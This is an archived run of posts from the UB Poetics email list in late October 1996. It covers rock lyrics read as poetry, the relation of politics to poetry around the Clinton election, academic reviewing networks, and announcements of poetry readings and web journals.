Here is the real question: what quality distinguishes what you call pop music from what we both call classical? What qualities are present in one kind of music and absent in the other?

---

2. To Dodie: Re Cemetery Man: What do you think ofArgento's films, or of movies like Diabolique, by Mario Bava? At times, Argento seems far more interested in texture than plot; at times, plot disappears completely, leaving another unifying principle in its place, reminding me (for some strange reason) of Mayhem by Abigail Child.

---

3. To Thomas Oraange:

> *A certain amount of the moronic is a staple for much of rock music's poetics:*

The "moronic" words you're talking about are present in *most* poetry. They are what Yeats called "numb words" must be there to some degree to foil what passes as meaning. They seem to stand in paradoxical contrast to Keats's "load every rift with ore." Yet, strangely, they are present in the poetry of Keats himself.

Oddly, your example--

> *Well last year I was twenty-one,*
> *Didn't have a lot of fun;*
> *Now I'm gonna be twenty-two,*
> *I say oh my and a boo-hoo*
> *[Iggy Pop]*

--seems to use numb words in almost the same way (functionally) as the ballads of Houseman ("When I Was One-and-Twenty") and Yeats.

Even so, numb words can serve several functions, four of which follow:

1. to foreground sound itself, as in Klebnikov's laughter poem; in Shelley's early drafts of O World, O Life, O Time; or even in the poetry of Ernest Dowson (the impotence of being Ernest!), in which static allusions attain a kind of numb allegory to match the numbing melancholy of the language and the tone.

2. To foreground an anarchic disdain for meaning itself, as in Lewis Carroll and Edward Lear.

3. To satirize pompous, worn ruts of conventional thought

4. To force the mind to fill in lacunae with something more vivid.

> *I would argue that lyrics become poetic primarily in their delivery, which is why Dylan is poetic and Jim Morrison is not, why Iggy Pop is poetic and*

By delivery, I think you might mean what you refer to as tone. I agree with you in part, but I don't agree with your conclusions about Iggy Pop, Jim Morrison, etc. Each case is different; it isn't a matter of one arbitrary distinction (What do you *mean* Morrison's "delivery" isn't "poetic?"

> *Sad preacher nailed upon the colour door of time,*
> *Insane teacher be there reminded of the rhyme,*
> *There'll be no mutant enemy we shall certify*
> *Political ends as sad remains will die.*
> *Reach out as forward tastes begin to enter you.*
> *[Jon Anderson]*
>
> *is not.*

This is "poetic," of course, but it also sucks fetid Doberman wangs-- chiefly because of the wretched cliches, vague writing, vacant imagery and naive inversions

Scan these two excerpts, go ahead. Iggy gives us a little iambic >tetrameter,

Actually, Iggy's lines which, conciously or unconsciously, are playing with the conventional expectations of the popular ballad both metrically and semiotically, happen to fall into meter far better than Anderson's alexandrines (except for the fisrt and last lines). When Iggy drops a beat, he's playing with the listener:

-*|-*|-*|-*
--*|-*|-*|
-|-|-*|-*|
-*|-*|-* [forced meter against nonsense words]|-*|

When Anderson's cliched use of alexandrines breaks meter,
the effect seems pointless and arbitrary. The only expectation
destroyed is one's hope that he will get a prosodic clue.

> *Anderson pens an almost perfect string of alexandrines. As far as content, the latter is perhaps more poetic, though far less intelligible and almost opaque in its aspirations for literariness. But Iggy means what he says and you know it in his delivery, especially when he proceeds in the song to let out a series of whoops! and yelps! and yrrrowps! that only he can do. (Nick Cave comes awfully close, as does Cobain in his own way.) In short, as much as I like Yes, Iggy has more poetry in his thumbnail than Anderson does.*

I don't agree with you at all. If Anderson were perfect, he'd be far less painful to read or listen to. Also, his tone is as dead as Kant Generator's ravings. Iggy Pop understands the conventions he frustrates, and his tone conveys a rich ambivalence.

> *Cobain's "a mosquito/my libido" has something Iggy-esquely moronic about it, but does it fail as a poetic image? (Libido is small, pesky, displaces blood-as-food with toxin-as-irritant, etc.)*

If Cobain's image fails, then so do those of the metaphysical poets. Cobain is using a wittily far-fetched metaphor (See Donne's "A Flea") that suggests smallness, ineffectuality, parasitism. Here again is a rich subversion of various conventions: of the rock star's gigantic and self-righteous cock-ego, for instance, which is traditionally rammed into the listener's face. In Cobain's hands (sorry, I couldn't resist), the phallocentric becomes tiny, insignificant, vernal.

> *Cobain pushes "teen angst" (another rock staple) into a kind of unparalleled confessionalism (given what we know about the lengths he went to to seek relief for his chronic stomach trouble):*
>
> *I'm on warm milk and laxatives,*
> *Cherry-flavored antacid.*

In a way, this statement is so bland that it subverts the confessional, he personal, in ways that remind me of Kathy Acker: *You want autobio- graphical? Here's the dildo I used, here's the Coke can that I smashed.* Such writers/poets present autobiography in a manner that is so numbing that the effect is finally to undermine the location of the personal.

> *Hamlets fishin in the grave x2*
> *thru the custard bones and stuff*
> *he aint got no friend in there x2*
> *I believe our man's in love*
> *Hamlet's got a gun--now*
> *he wears a crucifix x2*
> *pow pow pow pow/pow pow pow pow*
> *Hamlet moves so beautiful x2*
> *walking thru the flowers*
> *who are hiding 'round the corners*
> *He's moving down the street--now*
> *he likes the look of that cadillac*
> *and now he wants that cadillac*
> *pow pow pow pow/pow pow pow pow*
> *IS THIS LOVE some kinda love x2*
> *Now he's movin' down my street*
> *and he's coming to my house*
> *crawling up my stairs*
> *WHERE FOR ART THOU BABY-FACE*
> *Where-for-art-thou*
> *pow pow pow pow/pow pow pow pow*
>
> *Whatever the merits of imagining Hamlet on a psychotic killing spree,*

What do you mean? Imagining Hamlet on a psychotic killing spree is *highly* rewarding!

For me, this is the best example of poetry you've given: for its absurd antihero, it has a subverted cultural icon; its style is lucid (sorry, Charles) and original, it plays with the ballad ironically (in a way that almost reminds me of Stevie Smith). It even subverts the narrative itself--not only in microstructural terms, but even the ending, where the protagonist blows the author's brains out.

Anyhow, thanks for giving us close readings of lyrics.

On the subject of numb words in a pop context: I'm surprised no one has mentioned the poetry of Dennis Cooper.

5.Response to Gwyn McVay:

> *In a recent book called /'Scuse Me While I Kiss This Guy,/ compiled by Gavin Harris (is that right?) of /Details/ magazine, it's revealed that someone went around thinking "a mosquito: my libido" was "I'm a scarecrow and a Beatle." I kind of like that variant reading.*

When he first heard a bad cassette copy at Karoake, an
assistant engineer from Tokyo slated "My Green Tambourine"
as "My Grecian Latrine."

Further fun mistakes I recall from Daiichi Kosho Studios, where much of the staff spoke English as a second language:

Sit On Dog of Bay
Billie's Jeans
Nights In White Semen
Grolia (G-R-O! L-I-A!)
Because Your Cyst Is On Your Lip
King of Lock, by Lung DMC

On the inversions of the letters L and R,
studio owner Chis Hanley said: "I can understand
saying it, but to *write* it seems inexcusable!"

All the best,

Rob Hardin

http://www.interport.net/~scrypt

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667. **Ron Silliman**
Tiger chasing its tail (or tale)
Thu 31 Oct 1996

David,

Congratulations and thanks for the explication of that middle name. The committee had been thinking about asking you about its class stance...

Maria,

why are you publishing in magazines that you admit you've never read? Isn't academic life alienating enough already?

---------- The question of politics and poetry seems to endlessly cycle into certain patterns (hence the title of this post) but that doesn't mean that we shouldn't pursue it. In fact, I take it as a healthy sign that so many people here are so willing to do so (vast cry from when I was in college).

I'm sympathetic to Jeff's original blast in that I do think that too many poets (and others...this is not particularly a poet's problem) imagine that their "work" (in this instance words) is sufficient as a political activity. As I once noted in a discussion with Jackson Mac Low at the old Intersection in North Beach, there is great value in licking a stamp, walking a precinct, etc.

The problem with a statement such as "poetry is politics that stays politics" is that it's palpably false. Pound's poetry has proven "radical" in ways that his politics did not (and in contrast with some of the Republican right these days, Pound's not off the spectrum, sadly). Nothing is improved by reifying poetry.

The great difficulty of political action in our time is its disconnectedness from any sense of effect or power. Reaching people one person at a time seems like trying to fill the sea with teaspoons of sand, particularly when you hear that Best (low end discount department store chain) has decided to go chapter 7 (they've been in chapt. 11 for years), meaning that next spring another 5,000 people will be jobless.

I've worked within the constraints of the Democratic Party for a long time because it was evident that 3rd party efforts, noble as they might be, invariably are self-cancelling. There's a structural bias built into the US framework that has thus far prevented them from ever stabilizing. On the other hand, the Democratic Party I envision is Bill Clinton's worst nightmare (as, in some sense, he is ours).

The very same dynamics that have taken the Dems away from their base in the working men and women in this country, capital and technology, may now actually be changing conditions. I do think it is possible (i.e., a long way short of "probable" but no longer literally impossible) that 3rd party movements could begin and take hold in the vacuum that has grown. By jettisoning its base, the door-to-door Union volunteer (capital U), the Democratic party has largely opened up this space. In focusing in on its base in the fundamentalist right, the

Republicans have done likewise. (As Clinton himself notes, the Eisenhower Republicans now control the Democratic Party, but many of them have also just opted out.)

But the problem is this: without a broadly based democratic movement, too many 3rd party efforts will in fact tap into certain fascist/populist tendencies. Perot's Reform Party, the Natural Law Party (which at least wins points for open oxymorons). At the base of far too many libertarian impulses one finds xeno- and other phobias just waiting to pounce.

I think Jeff's blast may have been driven by the very same sense of urgency I have, that without such a movement we are on the cusp (or well down the slope) into some frightening times. But ultimately, I think the discussions here, endless and undecidable as they may be, are part of the solution, not the problem.

Ron Silliman

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668. **henry gould**
Re: "Politics"? "Poetry"?
Thu 31 Oct 1996

Patrick - I guess I would disagree that legislation takes its cue from "callings" made of mythic constructs. I think it's often the other way around, and in fact both are different ways of dealing with real issues of power & justice. The "callings" are just a kind of rhetorical, persuasive shorthand. To say that legislation follows them is parallel to over-emphasizing the "legislative" refinement of language enacted by poetry (Pound's or others). Alan's point (I believe) was that new ideas come from all points on the spectrum. - Henry G

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669. **Mary Hilton**
Politics, Poetry and "Political Diction"
Thu 31 Oct 1996

At the risk of extending this thread and nullifying my lurking status, and without seeming too self-serving, I wanted to mention "Political Diction," a mag which I edited and released a few weeks ago. Many of the thread participants -- Mark Wallace, Joe Amato, Jefferson Hansen, Rod Smith -- contributed challenging and at times humorous political commentary.

What I was hoping to address with this issue is the prevailing idea that politics and poetry don't mix, or rather that poets wish not to mix them, by offering evidence to the contrary. I think too often writers "let themselves off the hook"

not in the way mentioned earlier with sayings like "the personal is political" but by denying that we are striving for any effect at all.

But back to plugging my mag. The authors include, along with the ones mentioned above, Charles Bernstein, Elizabeth Burns, Craig Czury, Buck Downs, H. Kassia Fleisher, and Andrew Levy. There's good stuff in here folks, all in one form or another political commentary, and refutes the comment that there is no good political writing being done these days. E-mail me at my home if you are interested in a copy at [redacted] Thanks for the wonderful discussion and allowing me to advertise.

-- Mary Hilton

in an election year, the country shifts its boundaries...

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670. **Jordan Davis**
the time is at hand
Thu 31 Oct 1996

POETRY CITY ///// READING ///// FREE
(fade in "Rain" from Sincerity Loops)
STEVE CARLL (echo) in
His first New York City reading!! (Ron Delsener presents:)
Poet and editor of Antenym, Steve Carll brings
his golden turntables to the airy spaces of Poetry City ("spooky laugh" cart)
on H=A=L=L=O=W=E=E=N
Steve's poems have appeared in Mass Ave, the Impercipient . . . and in his new book
trace a moment's closure for clues

Carol Szamatowicz: BEADS

The children have been everything that moves: cows, engines, cars, trees; they have been the whole without many parts, now they become the parts. The railing moves the silence, the air waves the car on, sunny needles in a sheet of ice start an artery. A bee on another shoulder; ants, the moving men kind, converge on the verandah. A child says "the fire" in her sleep. "No, no, wait for my bigger brother, wait for my dad, don't eat my tits." As for regret, it's a marketer's tool. A diver touches the wall and rips her goggles off. One large turn arrives before all the smaller ones, a near miss lessens pain. It's easy to imagine the course that takes years to run, reminding you of a hundred others and your mouth pushes open a moan.

That's STEVE CARLL and CAROL SZAMATOWICZ at
POETRY CITY! Tonight at 7 p.m.

in the offices of Teachers & Writers Collaborative
5 Union Square West, NY NY 10003 (call [redacted] for more info)
conveniently adjacent to (but not embedded in) the Halloween you never had

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671. **Sylvester Pollet**
NATIONAL POETRY FOUNDATION WEBSITE OPEN !
Thu 31 Oct 1996

Please try it--let me know what needs improvement. There's a way to send me a message directly from the site. I'm working on a new order form, expanded descriptions of books, many things at once. I've incorporated a Bulletin Board to announce conferences , etc., but don't want to (and couldn't) duplicate everything announced on the Poetics List. http://www.ume.maine.edu/~npf/ Loss: Link me, Baby, Eight to the Bar! and Welcome to the Poetics List Thomas R. Kellogg! Now I'll have to child- proof that descending mantle/mantel. For the moment, just move the cleat higher on the wall, and get some rest.
Sylvester Pollet, NPF Assoc.Ed/Acting Director/WEBMASTER

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672. **maria damon**
Re: Tiger chasing its tail (or tale)
Thu 31 Oct 1996

---

ron s writes:
>
> ---
>
> Maria,
>
> why are you publishing in magazines that you admit you've never read?
> Isn't academic life alienating enough already?
>
> ---
ron: i admire very much the insights in your posts, esp the part i deleted here in the interest of only responding to to part addressed to me. it's a very good question, and the answer is, that i usually say yes when i'm asked to do something (a condition that will have to change) and i was asked by the editor of jegp --a journal that i had never heard of at the time, but which turns out to be something my senior colleagues were familiar with --to review first cary nelson's book and then walter kalaidjian's. i think they reviewed the books cuz they come out of u of IL at urbana, where cary teaches and where walt got his

doctorate. i'm not sure how they got my name but the editor, dale kramer, has always been very courteous and nice to work with.--md

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673. **This is Tosh**
Re: A late response to prop/Carll thread
Thu 31 Oct 1996

Is anyone on this list into Scott Walkers' latest album TILT. I think it's great. For those who are not into Scott music,there is at least two different styles: The sixties Scott which is orchestrated,dark, and borders on middle of the road, and the current Scott which is slightly experimental, with traces of Bowie's Low, with fragmented 'poetic' lyrics. Keep in mind this is early in the morning for me, and the above description should not be the only description of his music. But it is possible not liking his early music and yet loving his new music. Two different styles. SO in the long run, give his new stuff a listen,and don't judge him by his early work.

> *some of the youngest and brightest writers I know are into _Scott Walker IV_. But personally, I just don't get it. I can see that he was quite handsome, but I don't see what's unusually good about his voice, his lyrics or his arrangements: It all sounds pedestrian to me. But this probably has to do with Pavlovian professonal bias. For me, crooning 60's and 70's guys in sharp duds fronting Mantovani orchestras translate to nightmarish insincerity and triteness. On the other hand, I play and love keyboards, including synthesizers, which sometimes seem the epitome of nightmarish insincerity and triteness to others--some of whom happen to love Scott Walker.*

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674. **Lisa Samuels**
New WebLit Journal "POEPHYSICS" (fwd)
Thu 31 Oct 1996

perhaps mr. duplij i sending this to others on the list -- i can't track why i am one of the recipients -- but in case not, here is something that looks worthy of attention.

-lisa s.

According to Steven Duplij:
> From root Thu Oct 31 11:00:05 1996
> Date: Thu, 31 Oct 1996 16:26:38 +0100 (MET)
> From: Steven Duplij <[redacted]>

> To: Steven Duplij <[redacted]>
> Subject: New WebLit Journal "POEPHYSICS"
>
>
> Dear Colleague,
>
> I am glad to announce a new Poetry, Prose and Art
> Web Journal POEPHYSICS, Interdisciplinary,
> Multilingual, Multicultural, Web Edition.
>
> The address is:
>
> http://gluon.physik.uni-kl.de/~duplij/litsite.htm
>
> It consists of POEflyPHYSICS and POElinkPHYSICS
> (for people who already have WWW pages).
> Submissions in English, German, French, Spanish, Polish
> and Russian (satisfying the rules) are welcome.
>
> I would also be grateful, if you forward this mail
> to poets, writers and people who are interested
> in modern East European writing, art and music,
> and in interation with the western ones.
>
> You are welcome to make a link to the site,
> if it is necessary.
>
> I hope for our fruitful mutual literary collaboration.
>
> Your remarks, critics and thoughts are welcome at any time.
>
> Wishing you the best of success and creativity,
>
> Steven Duplij.
>
>
>
>
XXXX

> Theory Group [redacted] (work)
> Department of Physics [redacted] (secr.)
> University of Kaiserslautern [redacted] (fax)
> D-67653 KAISERSLAUTERN 43278 (home)
> Germany e-mail: [redacted]
> WWW: http://gluon.physik.uni-kl.de/~duplij/
>
>
XXXX

but i think the apparent collapse of left and right (into something ostensibly left-right, unfortunately NOT right-left) IS something to fret over... hearing dole rant on and on about how he's out to protect 'our money' aggravates me to no end... it's entirely upsetting and disorienting---one can't help but turn to the republican candidate (or to perot) for a more realistic appraisal of our economic times---albeit put to the wrong ends---b/c one senses that our times are indeed dire... in the meantime, our democratic prez, in order to get reelected, justifies---albeit i would argue to better apparent ends---still, justifies the current economic situation largely through economic balderdash...

so i vote for clinton, will vote for him again... so in effect, i vote for lies and damned lies in preference to a marginally more truthful appraisal that itself will be put, as i see it, to the ends of falsehood and *truly* prevaricating ends... and i'm left hoping that more truth---in the form of politically desirable public policy that addresses our very real problems---will somehow thereby result... one almost needs a conception of 'truth and falsehood in their ultramoral sense' to negotiate this stuff (and i say this with due regard for plato's conception of politics as one of the 'true arts,' with rhetoric relegated to flattery ('of the soul'))...

SHEESH///

joe

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677. **Pritchett,Pat**
Re: from pol to pal
Thu 31 Oct 1996

Pierre,

Viva Clausewitz redux!

Patrick Pritchett

From: Pierre Joris
To: Multiple recipients of list POETICS
Subject: from pol to pal
Date: Thursday, October 31, 1996 12:08PM

<<File Attachment: REVU-PO.HTML>>

Hi gang,

three or four quick points:

1) re the pol discussion: thanks jeff, good blast, thanks everybody for taking on that most rebarbative of topics. As Ron sez, it is essential to keep thinking that relationship. & to keep acting on it. I believe it's a both and situation: the

poems & the action in & off the street -- alone, neither is enough; which takes an onus off the poem to be _necessarily, visibly, overtly, contently (contentedly?)_ " political." Which however does not mean that a poem can be totaslly apolitical anyway. I just can't. Just as we need air to breath we need the social to live, & the social is political, through & through, from the micro-fascisms of daily life (Guattari) to global issues, and that includes what circulates through the social, i.e. language.

Wierdly this line running through my head sicne the thread started, & dont ask me what it means: "Poetry is politics continued by other means."

2) here's a www adress to a pretty vast list of poetry ,mags in Frogland. Some of you may be interested -- Spencer, maybe cld use it to flesh out his oh so valuable list:

http://www.ambafrance.org/ADPF/POESIE/revu-po.html

3) Let me chime in with praise for Kristin Prevallet's _Lead, Glass and Poppy_. An absolute pleasure -- an uncanny pleasure; & not irrelevant to the pol discussion; permit to quote:

In the clearing we are all variously forged
with
official words
not quite
innocent of all
that
has been broken

4)happy halloween, but rememeber, the yellow m&m's are spiked with politics, the read with mescaline.

Pierre

--
==========
Pierre Joris | I still know little about poems, but I
do
know
Dept. of English | that suspicion is important. Be
sufficiently
SUNY Albany | suspicious, suspect the words, the language,
Albany NY 12222 | I have often told myself, heighten this
tel&fax: (518) 426 043 | suspicion — so that someday, soemthing New
email: | can come into being...
[redacted] |

Ingeborg Bachmann
==========
==========

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678. **Aldon L. Nielsen**
Re: Always a Bridesmaid State University
Thu 31 Oct 1996

Maria's response to Ron raises another set of politics -- closely related to the first --

There is an academic politics of "where one must be in order to be so asked" not all that different from some of the poetry mag. biz politics oft discussed on this list -- My colleagues at Howard University, though endlessly the recipients of recruiting fliers from colleges they've never heard of, never get asked to review anything by any of the journals we've here mentioned in the couple years I've been on the list -=- Nor do many of my friends at Fill in the Blank State U., no matter what publishing credits they may have accumulated --

which really just means that we have to be party crashers, always asking somebody to let us go to the dance with them --

For example -- unlike the poetry reviewing I do -- My last four reviews of critical books were each the result of the person at the major research university who didn't want to do it suggesting that the person doing the asking call me instead -- And not all of my friends have friends like that who are willing to pass a job along once in a while --

all of which is leading up to my suggestion that as we all age and get into positions where we might occasionally influence such things, we cast our nets more widely?!?!?

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679. **Jeff Hansen**
(no subject)
Thu 31 Oct 1996

A.L. Nielson wondered why it is necessary to justify poetry, since it seems to need as much justification as a heartbeat.

Here's the answer: in order to argue for the continued existence of the NEA and its continuing support of poetry.

Organizing to save the NEA is politics.

Jeff

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680. **Pierre Joris**
from pol to pal
Thu 31 Oct 1996

This is a multi-part message in MIME format.

Hi gang,

three or four quick points:

1) re the pol discussion: thanks jeff, good blast, thanks everybody for taking on that most rebarbative of topics. As Ron sez, it is essential to keep thinking that relationship. & to keep acting on it. I believe it's a both and situation: the poems & the action in & off the street -- alone, neither is enough; which takes an onus off the poem to be _necessarily, visibly, overtly, contently (contentedly?)_ " political." Which however does not mean that a poem can be totaslly apolitical anyway. I just can't. Just as we need air to breath we need the social to live, & the social is political, through & through, from the micro-fascisms of daily life (Guattari) to global issues, and that includes what circulates through the social, i.e. language.

Wierdly this line running through my head sicne the thread started, & dont ask me what it means: "Poetry is politics continued by other means."

2) here's a www adress to a pretty vast list of poetry ,mags in Frogland. Some of you may be interested -- Spencer, maybe cld use it to flesh out his oh so valuable list:

http://www.ambafrance.org/ADPF/POESIE/revu-po.html

3) Let me chime in with praise for Kristin Prevallet's _Lead, Glass and Poppy_. An absolute pleasure -- an uncanny pleasure; & not irrelevant to the pol discussion; permit to quote:

In the clearing we are all variously forged
with official words
not quite innocent of all
that has been broken

4)happy halloween, but rememeber, the yellow m&m's are spiked with politics, the read with mescaline.

Pierre

--
==========

Pierre Joris | I still know little about poems, but I do know
Dept. of English | that suspicion is important. Be sufficiently
SUNY Albany | suspicious, suspect the words, the language,
Albany NY 12222 | I have often told myself, heighten this
tel&fax: (518) 426 043 | suspicion — so that someday, soemthing New
email: | can come into being...
[redacted] |
Ingeborg Bachmann
==========

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↑ Index

681. **Jordan Davis**
Object / Poet's Corner / Berkson - Koch
Thu 31 Oct 1996

Benefit for Object Magazine, 10/27, 3 p.m., Segue Space 303 E 8th NYC 10009
Attendance: 50

Chris Stroffolino
My daughter would be a novelist
Fragile Blonde
Flattened Until Dishevelled, 2
Flattened Until Dishevelled, 3

from "In Memory of Rod's Boy Poems", "Sirhan Sirhan"
"I'm nothing without my coffee and with it I'm too much."

Rod Smith (wearing a Nixon in 96 button)
excerpts from a longer work
"Right wingers because they are dumb tend to be moody and violent."
"If it all went up in smoke all perception would be by smell."

Sally Silvers
Preliminary Greeting (poem found in a guide to magnetism)
Wall of Ownbrain
"I feel like I could clean up the whole hospital."

Kim Rosenfield
The Millionaire's Club
"On behalf of the bell curve"
"A probable ham sandwich"
The Debonaire's Club
El Dorado
"rhinestone bees seating"
The Egg Basket
"the kajillion was beginning"

Sianne Ngai
The Title of With

Melanie Neilson
Death Penalty Norman Rockwell
Eleven Lines for Dustin
200 Years in Tennessee
one page from Vertigo

Jackson Mac Low
Accusation Falakash, for Annie
"leave-taking drama"
"track team doxology"
"munchkin-deep tension"

then there was an intermission. I took off. Up to St. John the Divine where they were inducting John Greenleaf Whittier and Ernest Hemingway into the Poet's Corner. Other members of the Poets Corner:
William Carlos Williams
Hart Crane
Ralph Waldo Emerson
Stephen Crane

Mark Twain
Anne Bradstreet
Edith Wharton
Herman Melville
Emily Dickinson
Edgar Allan Poe
Henry David Thoreau
Robert Frost
Henry W Longfellow
Nathaniel Hawthorne
Henry James
Langston Hughes
Walt Whitman
Elizabeth Bishop
William Cullen Bryant
Washington Irving
Wallace Stevens
Marianne Moore
Edgar Arlington Robinson
William Faulkner
T. S. Eliot
Willa Cather

Inducting Whittier were Daniel Hoffman and John Hollander.
Inducting Hemingway were John Updike and George Plimpton.
Attendance: 200.

____

Bill Berkson and Kenneth Koch, Poetry Project at St. Marks Church, 10/30, 8 p.m. 131 E 10, NYC 10003.
Attendance: 110

Bill Berkson
A Finial
Ahead at the Covers
Melting Milk
Halls of Fame
M. M.
October
Statues
"moving southward"
Booster
"You go down to go up. In theory this is fine."
Baby's Awake Now

After You
?????
Dream with Fred Astaire
?????
The Obvious Tradition
"some Shreveport-like expanse"
Fugue State
Clerical Words
Shelter, to Jim Brodey
Blue Is the Hero

Kenneth Koch
from Edward and Christine
Songs From the Plays
Straits

In the audience: Tim Griffin, Anna Malmude, Steve Levine, Tony Towle, Ted Greenwald, Charles North, Josh Galef, Cliff Fyman, Lee Ann Brown, David Cameron, Elio Schneeman, Chris Stroffolino, Anselm Berrigan, Simon Pettet, Peggy de Coursey, Bernadette Mayer, Phil Good, Tom Savage, Arnold Weinstein, Harris Schiff, Steven Hall, Lisa Jarnot, Joan Fagin, Rudy Burckhardt, Yvonne Jacquette, Elinor Nauen, Todd Colby, Joel Lewis, Katie Lederer, Andrew Epstein, Eric Brown, Morris Golde, Jane Freilicher, Rackstraw Downes.

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682. Pierre Joris
apos re pol to hal
Thu 31 Oct 1996

---

apologies, averyone, believe my machine halloweened me into a triple sending of huge proportions -- the full mag list wa snot supposed to be attached, only the URL -- apologies __ will not touch those m&m's again. --
========== Pierre Joris | I still know little about poems, but I do know Dept. of English | that suspicion is important. Be sufficiently SUNY Albany | suspicious, suspect the words, the language, Albany NY 12222 | I have often told myself, heighten this tel&fax: (518) 426 043 | suspicion — so that someday, soemthing New email: | can come into being... [redacted] | Ingeborg Bachmann
==========

↑ Index

683. **henry g**
Re: Tiger chasing its tail (or tale)
Thu 31 Oct 1996

On Thu, 31 Oct 1996 11:34:35 -0500 Rod Smith said:
>
>It seems fairly clear that the disappearance of social democratic politics
>from the public sphere is strongly related to the rise of television as a
>source of "information." What response do you, others, see to this.

I guess I would relate the (temporary) decline of such politics more directly to historical changes, I don't see TV as having that much to do with it. The aging of the Depression/WW II generation, the gentrification of the Vietnam generation, the triumph of Reaganism as a historic counter to FDR & that legacy at the very moment when the economy began to outsource industrial labor, the continuing race divisions & inequality which grew worse in the 80s on many (not all) fronts... - H. Gould

↑ Index

684. **Pierre Joris**
Re: apos re pol to hal
Thu 31 Oct 1996

Pierre Joris wrote:
>
> apologies, averyone, believe my machine halloweened me into a triple
> sending of huge proportions -- the full mag list wa snot supposed to be
> attached, only the URL -- apologies __ will not touch those m&m's again.
> --
hmmm, apologies for my apologies, the gremlins were in my machine & happily only one copy of message went to the list.

however, apologies for what the online layout did to the quote from kristin's poem; the line should be justified right.

I bow in apologetic confusion & hit my head on the keyboard... --
========== Pierre Joris | I still know little about poems, but I do know Dept. of English | that suspicion is important. Be sufficiently SUNY Albany | suspicious, suspect the words, the language, Albany NY 12222 | I have often told myself, heighten this tel&fax: (518) 426 043 | suspicion — so that someday, soemthing New email: | can come into being... [redacted] | Ingeborg Bachmann

==========
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685. **T-Bone Prone**
Re: Tiger chasing its tail (or tale)
Thu 31 Oct 1996

Any interesting if perhaps reductionistic point. What do you imagine disappearing with the emergence of online 'information' delivery and access?

On Thu, 31 Oct 1996, Rod Smith wrote:

> *Ron,*
>
> *Thanks for the great post. What third party movement are you more impressed by? New Party? Nader? I've been supporting the New Party which seems a genuine attempt to get a labor party going, not based around any one persona-- but long long way to go.*
>
> *By jettisoning its base, the door-to-door Union volunteer (capital U), the Democratic party has largely opened up this space.*
>
> *It seems fairly clear that the disappearance of social democratic politics from the public sphere is strongly related to the rise of television as a source of "information." What response do you, others, see to this.*
>
> *--Rod*

↑ Index

686. **maria damon**
Re: Always a Bridesmaid State University
Thu 31 Oct 1996

this is a good idea. i've done that a coupla times and had it done for me a lot, i.e. i think often the way i end up doing things is that some hotter shot sed no but why don't you ask this new person (a woman, too!), maria damon. i think coming out of stanford allowed me some opportunities; as that connection faded, it wasn't till just in the last few years, after my book came out and my tenure file was reviewed by folks in the poetry network, that there's been a second wave of opportunity. now that i'm teaching at a state university i see the enormous difference in opportunity between what i had and what our students have; some of them manage to rise above the hardships of teaching overloads, financial stress and a not-centrally networked institution; i don't know that i could have. --md

In message <[redacted]> UB Poetics
discussion group writes:
> Maria's response to Ron raises another set of politics -- closely related
> to the first --
>
> There is an academic politics of "where one must be in order to be so
> asked" not all that different from some of the poetry mag. biz politics
> oft discussed on this list -- My colleagues at Howard University, though
> endlessly the recipients of recruiting fliers from colleges they've never
> heard of, never get asked to review anything by any of the journals we've
> here mentioned in the couple years I've been on the list -=- Nor do many
> of my friends at Fill in the Blank State U., no matter what publishing
> credits they may have accumulated --
>
> which really just means that we have to be party crashers, always asking
> somebody to let us go to the dance with them --
>
> For example -- unlike the poetry reviewing I do -- My last four reviews
> of critical books were each the result of the person at the major
> research university who didn't want to do it suggesting that the person
> doing the asking call me instead -- And not all of my friends have
> friends like that who are willing to pass a job along once in a while --
>
> all of which is leading up to my suggestion that as we all age and get
> into positions where we might occasionally influence such things, we cast
> our nets more widely?!?!?

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687. **Larry Price**
Re: Tiger chasing its tail (or tale)
Thu 31 Oct 1996

"It seems fairly clear that the disappearance of social democratic politics from the public sphere is strongly related to the rise of television as a source of "information." What response do you, others, see to this."

Yes, it seems probable that the old precinct system specifically oriented toward walking the beat was given the ole belly-up by television, largely because incumbents (house or senate) no longer needed to leave the dome's backyard either 1. to send the message "back home," or 2. to gauge the messages' specific effects "back home." Party power was consequently shifted from cell and precinct captains (points define a periphery) to National Committees. With a consequent result being of course the devaluation of constituency as any thing

other than the final roll call. In total dollars, graft and corruption may not have increased. It's just that it's much more effectively "leveraged." And of course it now takes much bigger players to join the action.

L

↑ Index

688. **Pritchett,Pat**
Re: "Politics"? "Poetry"?
Thu 31 Oct 1996

Henry,

I can dig it. The one-way street notion doesn't begin to cover the multi-valent contingencies of the process.

However, having just studied the Trail of Tears, or the Removal, as it was (and is) clinically referred to, I was interested to learn how a shift in rhetoric/perception made the whole debacle possible, i.e. justifiable to its instigators. One minute the Cherokee et al are being encouraged to intermarry with whites; the next, they're being demonized and death marched off to Oklahoma.

This kind of "transaction" characterizes for me most of what passes for political "action" i.e business as usual, as opposed to the activism that Ron and others have been talking about.

Patrick

From: henry gould
To: Multiple recipients of list POETICS
Subject: Re: "Politics"? "Poetry"?
Date: Thursday, October 31, 1996 8:03AM

Patrick - I guess I would disagree that legislation takes its cue from "callings" made of mythic constructs. I think it's often the other way around, and in fact both are different ways of dealing with real issues of power & justice. The "callings" are just a kind of rhetorical, persuasive shorthand. To say that legislation follows them is parallel to over-emphasizing the "legislative" refinement of language enacted by poetry (Pound's or others). Alan's point (I believe) was that new ideas come from all points on the spectrum. - Henry G

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689. **Christina Fairbank Chirot**
GISCOMBE READING
Thu 31 Oct 1996

C.S. GISCOMBE will be reading Saturday, 2 November 1996 at 8 pm at:

Woodland Pattern Book Center
2301 E. Locust Street
Milwaukee, WI. 53212

Admission $5.00, $4.00 for members.

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690. **henry**
Re: "Politics"? "Poetry"?
Thu 31 Oct 1996

I see what you're saying. Plato's cave, run by a power-hungry projectionist. -HG

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691. **Jeffrey W. Timmons**
Re: "Politics"? "Poetry"?
Thu 31 Oct 1996

A Memorable Fancy (from The Marriage of Heaven and Hell)

The prophets Isaiah and Ezekiel dined with me, and I asked them how they dared so roundly to assert that God spoke to them; and whether they did not think at the time that they would be misunderstood, & so be the cause of imposition.

Isaiah answer'd: 'I saw no God, nor heard any, in finite organical perception; but my sense discover'd the infinite in everything, and as I was then perswaded, & remain confirmed, that the voice of honest indignation is the voice of God, I cared not for consequences, but wrote.'

Then I asked: 'does a firm perswasion that a thing is so make it so?'

He replied: 'All poets believe that it does, & in ages of imagination this firm perswasion removed mountains; but many are not capable of a firm perswasion of any thing.'

Then Ezekiel said: 'The philosophy of the east taught the first principles of human perception: some nations held one principle for the origin, and some another: we of Israel taught that the Poetic Genius . . . was the first principle and all the others merel derivative, which was the cause of our despising the Priests

